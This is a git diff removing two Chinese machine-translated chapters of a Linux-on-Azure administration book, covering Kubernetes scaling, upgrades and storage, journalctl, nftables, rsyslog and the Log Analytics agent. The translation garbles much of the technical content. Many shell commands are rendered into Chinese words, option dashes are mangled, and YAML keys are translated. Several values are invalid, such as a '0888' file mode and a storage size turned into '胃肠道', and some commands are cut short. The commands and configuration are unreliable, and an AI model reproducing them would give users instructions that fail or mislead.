-要扩展到三个实例,请执行以下操作: - -Kubectl 规模部署 nginx—replicas=3 - -再次运行**kubectl get 部署**; 在那之后,看看可用的豆荚: - -库贝克特,把吊舱弄来 - -![The output showing the status of the available pods after scaling up](img/B15455_10_46.jpg) - -###### 图 10.46:在扩展后检查可用的豆荚 - -创建负载均衡器服务: - -nginx——type=LoadBalancer \ - -——name = nginx-lb 端口 80 - -kubectl 得到服务 - -![The output showing the creation of a load balancer service](img/B15455_10_47.jpg) - -###### 图 10.47:创建负载平衡器服务 - -现在,每个 HTTP 请求都由负载均衡器处理,流量分布在实例上。 - -你也可以使用自动缩放。 首先,安装 Metrics 服务器: - -git clone https://github.com/kubernetes-incubator/metrics-server.git - -Kubectl 创建-f metrics-server/deploy/1.8+/ - -配置自动伸缩:如果负载超过**50**的百分比,将创建一个额外的实例,最多为**10**: - -Kubectl 自动伸缩部署 nginx——cpu-percent=50——min=3——max=10 - -当然,在这种情况下,在你的集群中至少有两个节点是有意义的: - -azaks scale -name Cluster01 \ - -——资源组 MyKubernetes \ - -——节点数 2 - -kubectl 得到节点 - -注意,这个过程大约需要 10 分钟。 如果需要查看自动缩放的状态,请执行以下命令: - -kubectl 得到 hpa - -![Using the kubectl get hpa command to view the status of the autoscaling](img/B15455_10_48.jpg) - -###### 图 10.48:列出自动缩放器 - -### Kubernetes 升级 - -与任何软件或应用一样,您需要通过定期升级 Kubernetes 集群来保持它们的最新状态。 升级对于获得最新的 bug 修复和所有关键的安全特性以及最新的 Kubernetes 特性非常重要。 如果想在不停机的情况下升级 Kubernetes 控制平面,有多个可用节点也是必要的。 以下步骤将向您展示如何快速升级 Kubernetes 集群。 - -首先,查看当前版本: - -az aks list --query "[].kubernetesVersion" - -![The output displaying the current version of Kubernetes as 1.13.12](img/B15455_10_49.jpg) - -###### 图 10.49:查看 Kubernetes 的当前版本 - -询问在您的位置可用的版本: - -Az aks get-versions——location eastus——output table | egrep "^1.13.12" - -![Getting the the versions available in the East US location](img/B15455_10_50.jpg) - -###### 图 10.50:美国东部位置的可用版本 - -我们可以升级到版本 1.14.8: - -az aks upgrade --resource-group MyKubernetes - -——名字 Cluster01 \ - -——kubernets -version 1.14.8——yes——no-wait - -添加**——no-wait**参数的效果是,您几乎可以直接返回提示。 - -这样,大约 3 分钟后,你就可以开始玩**kubectl**节点的状态和豆荚(使用**-owide 参数,例如,**kubectl 得到豆荚- o 宽**),发现一个新节点用最新版本创建的。 在该节点上重新创建工作负载,并更新另一个节点。 在那之后,最后一个剩余的将被清空并升级。** - - **## 持久存储 - -在前一章中,我们说过在容器中有多种使用持久存储的方法,我们在本章中也提到了这一点。 - -Kubernetes 可以配置持久存储,但您必须提供它,例如,通过 NFS 容器或实现 StorSimple iSCSI Virtual Array(这在需要从多个容器进行读写访问时特别有用)。 即使您使用的是 Azure Storage,也有很多选择。 您想要使用磁盘还是 Azure Storage? 您想动态地(动态地)创建它们,还是使用现有的(静态地)? 这些问题的答案大多取决于成本和对复制、备份和快照等服务的需求。 - -在本节中,我们将讨论动态选项; 在编排方面,它是一个更好的选择,因为您可以在 Kubernetes 中完成所有工作(或者使用围绕它的工具)。 - -无论你是使用 Azure Storage 还是磁盘,你都需要一个和 Kubernetes 在同一个资源组中的存储帐户: - -az 存储帐户 create——resource-group MyKubernetes \ - -——命名 mystorageest1 -sku Standard_LRS - -请重温*第二章*,*开始使用 Azure 云*,了解前面命令的语法。 记住,名称必须是唯一的。 - -### Azure Disk for Kubernetes - -您可以动态或静态地提供持久卷,以便在 AKS 集群中使用一个或多个 Kubernetes 豆荚。 有两种存储类:标准 Azure 磁盘(默认)和高级 Azure 磁盘,后者是一个托管的高级存储类: - -1. First, create a YAML file to create the storage class. This makes it possible to automatically provision the storage: - - :StorageClass - - apiVersion: storage.k8s.io/v1 - - 元数据: - - 名称:storageforapp - - 我/ azure-disk provisioner: kubernetes。 - - 参数: - - storageaccounttype: Standard_LRS - - 地点:eastus - - 类型:共享 - -2. Apply it with the following: - - kubectlapply - f storageclass.yaml - - 将文件名替换为您刚才创建的文件的名称。 - -3. Another YAML file is needed to claim the persistent volume, or in other words, create it: - - 金德:PersistentVolumeClaim - - apiVersion: v1 - - 元数据: - - 名称:claim-storage-for-app - - 注释: - - volume.beta.kubernetes。 io /存储类:storageforapp - - 规范: - - accessModes: - -   - ReadWriteOnce - - 资源: - - 请求: - - 存储:5 胃肠道 - -4. Please note that the match is made in the annotations. Apply this file as well: - - kubectlapply - f persistentvolume.yaml - -5. Verify the result with the following: - - kubectl 得到 sc - - ![Executing the kubectl get sc command to verify the creation of the storage class](img/B15455_10_51.jpg) - - ###### 图 10.51:验证存储类的创建 - -6. To use the storage in a pod, you can use it in a similar way to the following example: - - kind: Pod - - apiVersion: v1 - - 元数据: - - 名称:我的网络 - - 规范: - - 容器: - - -名字:nginx - - 形象:nginx - - volumeMounts: - -       - mountPath: "/var/www/html" - - 名称:体积 - - 卷: - - ——名称:体积 - - persistentVolumeClaim: - - claimName: claim-storage-for-app - -### Kubernetes 的 Azure 文件 - -当您使用访问模式类型**ReadWriteOnce**挂载 Azure 磁盘时,它将只对 AKS 中的单个 pod 可用。 因此,您需要使用 Azure Files 跨多个荚共享持久卷。 Azure Files 的配置与 Azure Disk 的配置没有什么不同,如前面部分所述。 创建存储类的 YAML 文件如下: - -:StorageClass - -apiVersion: storage.k8s.io/v1 - -元数据: - -  name: azurefile - -我/ azure-file provisioner: kubernetes。 - -mountOptions: - -- dir_mode = 0888 - -——file_mode = 0888 - -- uid = 1000 - -  - gid=1000 - -  - mfsymlinks - -  - nobrl - -- = none 缓存 - -参数: - -skuName: Standard_LRS - -通过执行下面的 YAML 文件,使用持久卷声明来提供 Azure 文件共享: - -apiVersion: v1 - -金德:PersistentVolumeClaim - -元数据: - -  name: azurefile - -规范: - -accessModes: - -——ReadWriteMany - -storageClassName: azurefile - -资源: - -请求: - -存储:5 胃肠道 - -按如下方式应用这两个 YAML 文件: - -. - -![Using the persistent volume claim to create Azure file](img/B15455_10_52.jpg) - -###### 图 10.52:使用持久卷声明来创建 Azure 文件 - -执行 Azure 文件存储创建 YAML 和存储卷声明 YAML 的结果如下: - -![Verifying the creation of Azure files and Azure disks](img/B15455_10_53.jpg) - -###### 图 10.53:验证 Azure 文件和 Azure 磁盘的创建 - -如您所见,pod 中的规格保持不变。 通过这些逐步实现,我们已经成功地为我们的持久存储需求创建了 Azure 磁盘和 Azure 文件。 - -## 总结 - -这一章是关于库伯内特的。 本章一开始,我们描述了一个开发人员可能的工作环境:一个好的工作站,带有工具,可以开始本地开发,甚至在本地安装 Kubernetes。 我们以 Ubuntu Desktop 为例,但事实上,只要你对自己的开发环境满意,这并不重要。 - -在本地设置好一切之后,我们介绍了如何使用 Azure CLI 和 PowerShell 在 Azure 中配置 Kubernetes 集群。 - -在 Azure 中部署工作负载可以像执行**kubectl run**一样简单,但我们还探索了更复杂的场景,例如多容器应用。 - -作为开发人员,有两个工具可以帮助简化开发过程:Draft 和 Helm。 草稿用于初始开发阶段,然后使用 Helm 安装和维护应用。 - -Kubernetes 是一个管理容器的工具,使其易于部署、维护和更新工作负载。 可扩展性是使用 Kubernetes 的优势之一; 甚至可以根据所需的 CPU 和内存资源自动伸缩。 - -本章的最后一节介绍了 Kubernetes 中持久存储的使用,实际上为您提供了一种比在容器中存储数据或直接将存储连接到容器更好的方法。 - -在下一章中,我们将回到 DevOps 的 Ops 部分——即故障排除和监控您的工作负载,这里的工作负载指的是安装了 Linux 的虚拟机、容器和 AKS。 - -## 问题 - -1. 什么是豆荚? -2. 创建一个多集装箱吊舱的理由是什么? -3. 您可以使用哪些方法在 Kubernetes 中部署应用? -4. 您可以使用哪些方法来更新 Kubernetes 中的应用? -5. 如果要升级控制平面,是否需要在 Kubernetes 中创建额外的节点? -6. 你能想到任何你想要 iSCSI 解决方案的原因吗? -7. 作为练习,使用持久存储重新创建多容器吊舱。 - -## 进一步阅读 - -本章的目标是提供一种实用的方法来让您的工作负载在 Azure 云中运行。 我们希望这是你进入 Kubernetes 世界之旅的开始。 还有很多东西等着你去发现! - -Nigel Poulton,一位已经写了一本关于 Docker 的好书的作家,也写了一本关于 Kubernetes 的书*The Kubernetes book*。 如果你对 Kubernetes 很陌生,这是一个很好的起点。 Gigi Sayfan 写了*掌握 Kubernetes*。 一定要买第二版! 不仅仅是因为第一版不是很好,而是因为它是必备的,提供了比第一版更多的信息。 - -作为一名开发人员,你应该尝试一下*Kubernetes for Developers*:Joseph Heck 可以通过 Node.js 和 Python 中的例子告诉你更多关于 Kubernetes 开发生命周期的信息。 在书的最后一章中,他提到了诸如 Helm 和 Brigade 这样的新兴项目。 我们希望这将在以后的版本中更详细地探讨,或者甚至在另一本书中。 - -谈论旅,https://brigade.sh 在自己的网站上的描述是“*的工具运行脚本,自动执行的任务在云中——Kubernetes 集群*的一部分。”这是远远超出了本书的范围,或多或少地在开发的早期阶段。 作为一名开发人员,你应该花些时间阅读并尝试它。 - -最后但并非最不重要的,另一个值得一提的重要来源是 Azure 的开放服务代理(OSBA:[https://osba.sh](https://osba.sh))。 它没有出现在本章中,因为在写作时它还没有完全准备好。 OSBA 是一个用于与外部服务(如数据库和存储)通信的开放标准。 它是向容器提供数据和从容器存储数据的另一种解决方案。******** \ No newline at end of file diff --git a/docs/handson-linux-admin-azure/11.md b/docs/handson-linux-admin-azure/11.md deleted file mode 100644 index e34b03da..00000000 --- a/docs/handson-linux-admin-azure/11.md +++ /dev/null @@ -1,982 +0,0 @@ -# 十一、故障排除和监控您的工作负载 - -故障诊断和日志记录是密切相关的; 当您遇到问题时,您将开始分析事件、服务和系统日志。 - -故障排除和修复在云环境中发现的问题与更经典的部署中的故障排除不同。 本章解释了在 Azure 环境中对 Linux 工作负载进行故障排除的区别、挑战和新的可能性。 - -在本章结束时,你将能够: - -* 使用不同的工具在 Linux 系统中实现性能分析。 -* 监控指标,如 CPU、内存、存储和网络细节。 -* 使用 Azure 工具来识别和修复问题。 -* 使用 Linux 工具来识别和修复问题。 - -## 技术要求 - -对于本章,您将需要一个或两个运行 Linux 发行版的 vm。 如果你愿意,你可以用最小的尺寸。 必须安装**审计**守护进程,为了分析和理解审计系统日志,安装 Apache 和 MySQL/MariaDB 服务器是一个好主意。 - -这里是一个例子在 CentOS: - -安装“Basic Web Server” - -安装 mariadbmariadb-server - -Sudo yum install se 排除故障 - -Sudosystemctl enable—now apache2 - -Sudosystemctl enable——现在 mariadb - -audit**auditd**通过使用可以根据需要修改的审计规则,提供关于服务器性能和活动的详细信息。 要安装**审计**守护进程,请使用以下命令: - -Sudo yum list audit audit-libs - -在执行前面的命令时,您将得到以下输出: - -![Installing the audit daemon](img/B15455_11_01.jpg) - -###### 图 11.1:安装审计守护进程 - -如果您可以看到前面显示的已安装审计包列表,那么它已经安装; 如果不是,则执行如下命令: - -安装 audit audit-libs - -**auditd**安装成功后,需要启动**auditd**服务,开始收集并存储审计日志: - -Sudo systemctl 启动 auditd - -如果你想在启动时启动**auditd**,那么你必须使用以下命令: - -Sudo systemctl 启用 auditd - -现在让我们验证**auditd**是否安装成功,并使用以下命令开始收集日志: - -tail - f /var/log/audit/audit.log - -![Verifying of an installation of auditd and collection of logs](img/B15455_11_02.jpg) - -###### 图 11.2:验证 auditd 的成功安装和日志收集 - -在本章中,我们将介绍一般的 Azure 管理和 Azure Monitor。 并非每个 Linux 发行版都支持用于从 VM 收集信息的 Log Analytics 代理; 请访问[https://docs.microsoft.com/en-us/azure/virtual-machines/extensions/oms-linux](https://docs.microsoft.com/en-us/azure/virtual-machines/extensions/oms-linux)在决定您想在本章中使用哪个发行版之前。 - -#### 请注意 - -**运营管理套件**(**OMS**)已经退役并转移到 Azure 中,除了在一些变量名中,“OMS”这个名称不再在任何地方使用。 它现在被称为 Azure Monitor。 命名和术语变化的更多信息,请参阅 https://docs.microsoft.com/en-gb/azure/azure-monitor/terminology,或者你也可以转换的详细信息在 https://docs.microsoft.com/en-us/azure/azure-monitor/platform/oms-portal-transition。 - -## 访问您的系统 - -学会解决你的工作负担会对你的日常工作有帮助。 在 Azure 中进行故障排除与在其他环境中进行故障排除没有什么不同。 在这一部分中,我们将看到一些在日常工作中对你有帮助的提示和技巧。 - -### 不允许远程访问 - -当您无法通过 SSH 访问 Azure VM 时,您可以通过 Azure 门户运行命令。 - -要从 Azure 门户在您的 Azure VM 上运行命令,请登录到您的 Azure 门户,导航到您的 VM 并选择**运行命令**: - -![A list of commands to navigate to the VM section within the Azure portal](img/B15455_11_03.jpg) - -###### 图 11.3:导航到 Azure 门户内的 VM 部分 - -或者,您可以使用命令行,如下所示: - -az vm run-command invoke——name\ - -——命令 id RunShellScript \ - -——脚本 hostnamectl \ - -——资源集团 - -可以使用**az vm run**命令在 vm 中运行 shell 脚本,进行一般的机器或应用管理,并诊断问题。 - -无论您是通过命令行还是通过 Azure 门户执行此操作,**az vm**命令仅在 Microsoft Azure Linux 代理仍在运行且可访问的情况下有效。 - -#### 请注意 - -您可以在[https://github.com/Azure/azure-powershell](https://github.com/Azure/azure-powershell)获得最新的 Microsoft Azure PowerShell 存储库,其中包含安装步骤和用法。 **az**正在取代 AzureRM,所有新的 Azure PowerShell 特性将只在**az**中可用。 - -根据安全最佳实践,您需要登录 Azure 帐户,使用**az 虚拟机用户**修改密码,如下所示: - -Az 虚拟机用户更新\ - -——资源组 myResourceGroup \ - -  --name myVM \ - -  --username linuxstar \ - -——密码 myP@88w@rd - -这只在您的用户配置了密码时有效。 如果您使用 SSH 密钥部署 VM,那么您很幸运:同一节中的**重置密码**选项将完成这项工作。 - -该选项使用 VMAccess 扩展([https://github.com/Azure/azure-linux-extensions/tree/master/VMAccess](https://github.com/Azure/azure-linux-extensions/tree/master/VMAccess))。 与前面讨论的**运行命令**选项一样,它需要 Azure VM Agent。 - -### 正在端口上工作 - -您不能远程访问的原因可能与网络有关。 在*第五章*、*高级 Linux 管理*中,*网络*部分简要介绍了**ip**命令。 可以使用该命令对 IP 地址和路由表进行验证。 - -在 Azure 站点上,必须检查网络和网络安全组,如在*第 3 章*、*基础 Linux 管理*中所述。 在 VM 中,您可以使用**ss**命令,如 ip**,这是一个的一部分【显示】iproute2**包列出《乌利希期刊指南(**- u)和 TCP(【病人】**页)端口处于监听状态,加上进程 ID(**- p),打开了端口:** - - **![Using the ss -tulpn command to check the ports details](img/B15455_11_04.jpg) - -###### 图 11.4:使用 ss -tulpn 命令检查端口 - -快速检查防火墙规则可以用**firewall-cmd——list-all——zone=public**; 如果有多个区域和接口,则需要对每个区域执行此操作。 **iptables-save**可以帮助我们将加入到 Azure Service Fabric 创建的规则中: - -![iptables-save command to include the rules created by Azure Service Fabric](img/B15455_11_05.jpg) - -###### 图 11.5:包括 Azure Service Fabric 创建的规则 - -不幸的是,没有评论可以查看在**systemd**单元级别配置的所有访问规则。 不要忘记验证它们,正如在*第 6 章*、*管理 Linux 安全性和身份*中讨论的那样。 - -### 使用 nftables - -**nftables**比**iptables**更容易使用,它用简单的语法组合了整个**iptables**框架。 **nftables**是在一个内核**netfilter**子系统上构建的,这个子系统可以用来创建分组的、复杂的过滤规则。 与**iptables**相比,nftables 有许多优点。 例如,它允许您使用一个规则执行多个操作。 它使用了**nft**命令行工具,也可以通过**nft -i**命令在交互模式下使用: - -1. Install **nftables** using the following command: - - 安装 nftables - -2. Then install **compat**, which loads the compatibility with the **nftables** kernel subsystem: - - apt 安装 iptables-nftables-compat - -3. Finally, enable the **nftables** service using the following command: - - 启用 nftables.service - -4. You can view the current **nft** configuration using this: - - 非功能性测试列表规则集 - -5. Also, you can log into **nft** interactive mode using the following command: - - nft 的— - -6. Now you can list the existing ruleset by using the following **list** command: - - 非功能性测试>列表规则集 - -7. Let's create a new table, **rule_table1**: - - Nft >添加表 inet rule_table1 - -8. Now we will need to add the chain command to accept inbound/outbound traffic as follows: - - Nft >add chain inet rule_table1 input {type filter hook input priority 0; 政策接受; } - - Nft >add chain inet rule_table1 output {type filter hook input priority 0; 政策接受; } - -9. You can use the following command to add rules to accept TCP (Transmission Control Protocol) ports: - - Nft >add rule inet rule_table1 input tcpdport {ssh, telnet, https, HTTP} accept - - Nft >添加规则 inet rule_table1 输出 tcpdport {https, HTTP} accept - -10. Here is the output of our new **nftables** configuration: - - 非功能性测试>列表规则集 - - 表 inet rule_table1 { - - 链输入{ - -                  优先级类型过滤钩子输入 0; 政策接受; - - Tcpdport {ssh, telnet, http, HTTPS}接受 - -         } - - 链输出{ - -                  优先级类型过滤钩子输入 0; 政策接受; - - Tcpdport {http, HTTPS} accept - -         } - - } - -### 引导诊断 - -假设您已经创建了自己的 VM,很可能是精心安排的,而且很可能是您自己的 VM,但是它没有启动。 - -在 vm 上启用启动诊断之前,您需要一个存储帐户来存储数据。 您可以在**az 存储帐户列表**中列出当前可用的存储帐户,如果需要,还可以使用**az 存储帐户 create**命令创建一个可用的存储帐户。 - -现在让我们通过在 Azure CLI 中输入以下命令来启用启动诊断: - -az vm boot-diagnostics enable——name\ - -——resource-group\ - -——存储 - -不同之处在于,您不需要存储帐户的名称,而需要存储 blob 的名称,可以通过**az 存储帐户列表**命令作为存储帐户的属性找到该存储 blob。 - -在 Azure CLI 中执行以下命令来接收引导日志: - -Az vm boot-diagnostics get-boot-log \ - -——名称\ - -——资源集团 - -输出也会自动存储在一个文件中; 在 Azure CLI 中,通过**或**管道将其重定向到一个文件是一个好主意。 - -### Linux 登录 - -许多进程、服务和应用运行在典型的 Linux 系统上,这些系统会产生不同的日志,例如应用、事件、服务和系统日志,这些日志可用于审核和故障排除。 在前面的章节中,我们遇到了**journalctl**命令,它用于查询和显示日志。 在本章中,我们将更详细地讨论这个命令,并看看如何使用**journalctl**实用程序对日志进行切片和切片。 - -在 Linux 发行版中,例如最新版本的 RHEL/CentOS、Debian、Ubuntu 和 SUSE,它们使用 systemd 作为它们的**init**系统,**system - log**守护进程用于日志记录。 这个守护进程收集一个单元的标准输出,一条 syslog 消息,并且(如果应用支持它的话)将消息从应用定向到 systemd。 - -日志收集在一个可以通过**journalctl**查询的数据库中。 - -**Working with journalctl** - -如果执行**systemctl status**,可以看到日志的最后一条记录。 要查看完整的日志,您需要的工具是**journalctl**。 与**systemctl**不同,可以通过**-H**参数查看其他主机的状态。 您不能使用**journalctl**连接到其他主机。 这两个实用程序都有**-M**参数来连接**systemd-nspawn**和**Rkt**容器。 - -要查看日志数据库中的条目,执行以下操作: - -Sudo journalctl—unit - -![Viewing the entries in the journal database using journalctl --unit command](img/B15455_11_06.jpg) - -###### 图 11.6:查看日志数据库中的条目 - -默认情况下,日志的分页值为**减去**。 如果您想要另一个分页,比如**更多的**,那么您可以通过**/etc/environment**文件配置它。 添加以下一行: - -SYSTEMD_PAGER = / usr / bin /更多 - -下面是输出的一个例子: - -![Using the journalctl command to get the log entries of the processes](img/B15455_11_07.jpg) - -###### 图 11.7:使用 journalctl 命令获取进程的日志条目 - -让我们检查一下输出: - -* 第一列是时间戳。 在数据库中,它是在 EPOCH 时间内定义的,因此,如果更改时区,没有问题:它将被翻译。 -* 第二列是主机名,如**hostnamectl**命令所示。 -* 第三列包含一个标识符和进程 ID。 -* 第四列是信息。 - -您可以添加以下参数来过滤日志: - -* **——dmesg**:内核消息,替换旧的**dmesg**命令 -* **——identifier**:标识符字符串 -* **——boot**:当前引导过程中的消息; 如果数据库在重新引导期间是持久的,也可以选择以前的引导 - -**过滤器** - -当然,您可以在标准输出上**grep**,但是**journalctl**有一些参数可以真正帮助过滤出您想要的信息: - -* **——优先级**:过滤**警告**,**暴击**,**调试**,【显示】紧急情况,**犯错**,【病人】信息、**注意**,和【t16.1】警告。 这些优先级的分类与 syslog 协议规范相同。 -* **-since**and**-until**:过滤时间戳。 参考**人工系统。 the time**to see all the possibilities.看到所有的可能性。 -* **——行**:行数,类似于**尾**。 -* **—遵循**:类似于**tail -f**。 -* **—反向**:把最后一行放在前面。 -* **——output**:将输出格式改为 JSON 等格式,或者增加输出的冗长程度。 -* 目录**——catalog**:添加消息的解释(如果有的话)。 - -所有的过滤器都可以组合在一起,如下所示: - -Sudo journalctl -u SSHD -从昨天开始-直到 10:00 \ - -——优先犯错 - -![Filtering the log entries by using multiple parameters with journalctl](img/B15455_11_08.jpg) - -###### 图 11.8:通过使用多个过滤器和 journalctl 过滤日志条目 - -**基于字段的过滤** - -我们还可以对字段进行过滤。 类型: - -sudojournactl _ - -现在按*Ctrl*+*I*两次; 您将看到所有可用字段。 同样的原理也适用于这些过滤器; 也就是说,你可以把它们结合起来: - -sudo journalctl _UID=1000 _PID=1850 - -你甚至可以将它们与普通过滤器结合: - -sudo journalctl _KERNEL_DEVICE=+scsi:5:0:0:0 -o verbose - -**数据库持久性** - -现在,出于遵从性原因或审计需求,您可能需要将日志存储一段时间。 因此,您可以使用 Azure Log Analytics 代理从不同的来源收集日志。 默认情况下,日志数据库不是持久的。 为了使其持久,出于审计或遵从性相关的原因(尽管将日志存储在本地不是最佳实践),您必须编辑配置文件**/etc/systemd/journal .conf**。 - -将**#Storage=auto**行更改为: - -存储=持续 - -使用**强制**重启**system -journal**守护进程: - -强制重新加载 systemctl -日志 - -使用此查看已记录的启动: - -sudo journalctl——list-boots - -![Viewing the recorded boots using --list-boots command](img/B15455_11_09.jpg) - -###### 图 11.9:查看记录的引导 - -您可以使用**——boot**参数添加引导 ID 作为筛选器: - -journalctl—priority err—boot - -通过这种方式,**hostnamectl**的输出显示了当前的引导 ID。 - -日志数据库不依赖于守护进程。 您可以使用**——目录**和**——文件**参数查看它。 - -**Syslog 协议** - -日志含义 syslog 协议实现时,启用了登录 Linux 和其他 Unix 家族成员。 它仍然用于将日志发送到远程服务。 - -重要的是要理解该协议使用的设施和严重性。 两者都在 RFC 5424([https://tools.ietf.org/html/rfc5424](https://tools.ietf.org/html/rfc5424))中标准化。 这里,一个工具指定记录消息的程序类型; 例如,内核或 cron。 严重性标签是用来描述影响的,比如信息性的或关键性的。 - -编程人员的 syslog 手册页(**man 3 syslog**)也可以很好地了解这些功能和严重性,并显示程序如何使用该协议。 关于 syslog 的坏消息是,它只有在应用支持它并且应用运行足够长的时间来提供这种功能时才能工作。 日志**能够得到关于程序输出的所有信息。** - -**新增日志** - -您可以手动将条目添加到日志中。 对于 syslog 日志,可以使用**logger**命令: - -日志记录器-p"Message" - -对于**日志**,有**systemd-cat**: - -systemd-cat——identifier——priority - -让我们看一个例子: - -systemd-cat——identifier CHANGE——priority info - -echo“开始修改配置” - -作为标识符,您可以使用自由字符串或 syslog 工具。 **记录器**和**systemd-cat**都可以用来在日志中生成条目。 如果应用不支持 syslog,可以使用此选项; 例如,在 Apache 配置中,你可以使用这个指令: - -Errorlog "tee -a /var/log/www/error/log | logger -p local6.info"错误日志 - -您还可以将其作为变更管理的一部分。 - -日志与 RSYSLOG 集成 - - **要为您自己的监控服务收集数据,您的监控服务需要 syslog 支持。 这些监控服务的好例子可以在 Azure 中作为一个现成的 VM:**Splunk**和**Elastic Stack**。 - -RSYSLOG 是目前最常用的 syslog 协议实现。 它已经默认安装在 Ubuntu、SUSE 和 Red hat 发行版中。 - -使用**imjournal**模块,RSYSLOG 可以很好地与日志数据库一起工作。 在基于 SUSE 和 Red hat 的发行版中,这已经配置好了; 在 Ubuntu 中,你需要对**/etc/rsyslog.conf**文件进行修改: - -# module(load="imuxsock") - -module(load="imjournal") - -修改完成后,重启 RSYSLOG: - -重启 rsyslog - -使用**/etc/rsyslog.d/50-default.conf**中的设置,将日志记录到纯文本文件中。 - -要将本地 syslog 发送到远程 syslog 服务器,你必须将以下内容添加到该文件: - -*. * @:514 - -#### 请注意 - -这是 Ubuntu 中文件的名称。 在其他发行版中,使用**/etc/rsyslog.conf**。 - -使用**@@**如果你想要 TCP 而不是 UDP 协议。 - -**其他日志** - -您可以在**/var/log**目录结构中找到不支持 syslog 或**system - log**的应用日志文件。 需要注意的一个重要文件是**/var/log/waagent.log**文件,其中包含来自 Azure Linux VM 代理的日志记录。 还有**/var/log/azure**目录,其中包含来自其他 Azure 代理(如 Azure Monitor)和 VM 扩展的日志记录。 - -## Azure 日志分析 - -Azure Log Analytics 是 Azure Monitor 的一部分,它收集和分析日志数据并采取适当的操作。 它是 Azure 中的一个服务,它在一个中心位置的单个数据存储中收集来自多个系统的日志数据。 它包括两个重要的组成部分: - -* Azure Log Analytics 门户,具有警报、报告和分析功能 -* Azure Monitor 代理,需要安装在 VM 上 - -如果你想在路上查看你的工作负载状态,还有一个移动应用可用(在 iOS 和 Android 商店中,你可以在名称*微软 Azure*下找到它)。 - -### 配置日志分析服务 - -在 Azure 门户中,从左侧栏中选择**All Services**并搜索**Log Analytics**。 选择**Add**并创建一个新的 Log Analytics 工作区。 在撰写本文时,并不是所有地区都可以使用它。 使用本服务不限于本地区; 当虚拟机位于其他区域时,仍然可以对其进行监控。 - -#### 请注意 - -这是没有前期成本的服务,你支付什么,你使用! 详情请阅读[http://aka.ms/PricingTierWarning](http://aka.ms/PricingTierWarning)。 - -另一种创建服务的方法是使用 Azure CLI: - -Az 扩展添加-n application-insights - -创建服务之后,会有一个弹出窗口,允许您导航到新创建的资源。 您也可以在**所有服务**中再次搜索。 - -请注意,在资源窗格的右上角,有 Azure Monitor 和工作区 ID; 你以后会需要这些信息的。 导航到**高级设置**以找到工作空间键。 - -在 Azure CLI 中,你可以通过以下方式收集这些信息: - -Az 监控应用洞察组件创建——app myapp - -…地方 westus1 - -——资源组 my-resource-grp - -要列出你的 Azure 订阅的所有工作区,你可以使用下面的 Azure CLI 命令: - -Az ml 工作空间列表 - -你可以使用下面的 Azure CLI 命令获取 JSON 格式的工作空间的详细信息: - -Az ml 工作空间显示-w my-workspace -g my-resource-grp - -### 安装 Azure Log Analytics Agent - -在安装 Azure Monitor 代理之前,确保安装了**审计**包(在**auditd**中)。 - -要在 Linux 虚拟机中安装 Azure Monitor 代理,您有两种可能:启用虚拟机扩展**OMSAgentforLinux**,或者在 Linux 中下载并安装 Log Analytics 代理。 - -首先,设置一些变量使脚本更容易: - -$rg = "" - -loc =“美元 - -omsName 美元= - -$vm = " - -您需要工作区 ID 和密钥。 **Set-AzureVMExtension**cmdlet 需要 JSON 格式的键,所以需要进行转换: - -(get - azoperationingsworkspace) - --ResourceGroupName $rg -Name $omsName.CustomerId) - -$omsKey = $(get - azoperationingsworkspacesharedkeys) - --ResourceGroupName $rg -Name $omsName)。 PrimarySharedKey - -$PublicSettings = New-Object psobject |添加成员' - --PassThruNotePropertyworkspaceId $omsId |转换到 json - -$ privatsettings = New-Object psobject |添加成员' - --PassThruNotePropertyworkspaceKey $omsKey |转换到 json - -现在您可以将扩展添加到虚拟机: - -seazurevmextension -扩展名称“who” - --ResourceGroupName $rg -VMName $vm ' - -出版商“Microsoft.EnterpriseCloud.Monitoring” - -  -ExtensionType "OmsAgentForLinux" -TypeHandlerVersion 1.0 ' - -  -SettingString $PublicSettings - --ProtectedSettingString $ privatsettings -Location $loc - -前面的程序相当复杂,需要一段时间。 下载方法更简单,但是您必须以来宾身份通过 SSH 登录 VM。 当然,这两种方法都可以自动化/编排: - -cd / tmp - -wget \ - -https://github.com/microsoft/OMS-Agent-for-Linux \ - -/blob/master/installer/scripts/onboard_agent.sh - -sudo - s - -sh onboard_agent.sh -w-s-d \ .sh - -opinsights.azure.com - -如果在安装代理过程中遇到问题,请查看**/var/log/waagent.log**和**/var/log/azure/ microsoft . enterprisecloud . monitor . omsagentforlinux /*/extension.log**配置文件。 - -扩展名的安装还会为**rsyslog,/etc/rsyslog .d/95-omsagent.conf**创建一个配置文件: - -kern.warning @127.0.0.1:25224 - -user.warning @127.0.0.1:25224 - -daemon.warning @127.0.0.1:25224 - -auth.warning @127.0.0.1:25224 - -syslog.warning @127.0.0.1:25224 - -uucp.warning @127.0.0.1:25224 - -authpriv.warning @127.0.0.1:25224 - -ftp.warning @127.0.0.1:25224 - -cron.warning @127.0.0.1:25224 - -local0.warning @127.0.0.1:25224 - -local1.warning @127.0.0.1:25224 - -local2.warning @127.0.0.1:25224 - -local3.warning @127.0.0.1:25224 - -local4.warning @127.0.0.1:25224 - -local5.warning @127.0.0.1:25224 - -local6.warning @127.0.0.1:25224 - -local7.warning @127.0.0.1:25224 - -它基本上意味着 syslog 消息(**功能。 优先级**)被发送到 Azure Monitor 代理。 - -在新资源的底部窗格中,有一个题为**开始使用日志分析**的部分: - -![Get started with Log Analytics section in Azure Portal](img/B15455_11_10.jpg) - -###### 图 11.10:开始使用 Azure Portal 中的 Log Analytics 部分 - -点击**Azure 虚拟机(vm)**。 你会在这个工作空间中看到可用的虚拟机: - -![Available VMs in the workspace](img/B15455_11_11.jpg) - -###### 图 11.11:工作区中的可用虚拟机 - -上图为工作空间中可用的虚拟机。 它还显示我们已经连接到数据源。 - -### 获取数据 - -在该资源的“**高级设置**”区域,您可以添加性能数据源和 syslog 数据源。 您可以使用一种特殊的查询语言通过日志搜索访问所有数据。 如果你是这门语言的新手,你应该访问[https://docs.loganalytics.io/docs/Learn/Getting-Started/Getting-started-with-queries](https://docs.loganalytics.io/docs/Learn/Getting-Started/Getting-started-with-queries)和[https://docs.loganalytics.io/index](https://docs.loganalytics.io/index)。 - -现在,只执行这个查询: - -搜索* - -若要查看是否有可用数据,请将搜索限制在一个虚拟机: - -搜索* | where Computer == "centos01" - -或者,为了获得所有的 syslog 消息,作为测试,你可以重新启动你的虚拟机,或者使用以下方法: - -日志-t“信息” - -请在 syslog 日志中执行如下查询,查看结果: - -Syslog |排序 - -如果您单击**保存的搜索**按钮,也有许多可用的示例。 - -监控解决方案提供了一个非常有趣的附加组件,使这个过程更加容易。 在**资源**窗格中,单击**查看解决方案**: - -![Navigating to the View solutions option in 